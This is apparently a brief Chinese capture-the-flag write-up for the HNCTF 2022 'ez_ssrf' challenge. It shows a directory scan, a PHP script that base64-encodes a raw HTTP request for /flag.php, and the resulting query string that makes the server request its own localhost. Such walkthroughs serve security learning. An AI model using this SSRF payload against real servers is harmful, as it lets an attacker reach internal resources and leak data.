NSS [HNCTF 2022 WEEK2]ez_ssrf
先拿dirsearch扫一下。
访问/flag.php
访问/index.php
应该是从index.php传参,ssrf然后访问到flag.php。
因此构造poc.php:
<?php $out = "GET /flag.php HTTP/1.1\r\n"; $out .= "Host: 127.0.0.1\r\n"; $out .= "Connection: Close\r\n\r\n"; echo base64_encode($out); ?>
得到data，host为127.0.0.1，port为80
传参：/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
![NSS [NISACTF 2022]popchains](https://ucc.alicdn.com/pic/developer-ecology/hx2ljjpnymv5w_f6e2bcd783b64f37987dbb4509637e95.png?x-oss-process=image/resize,h_160,m_lfit)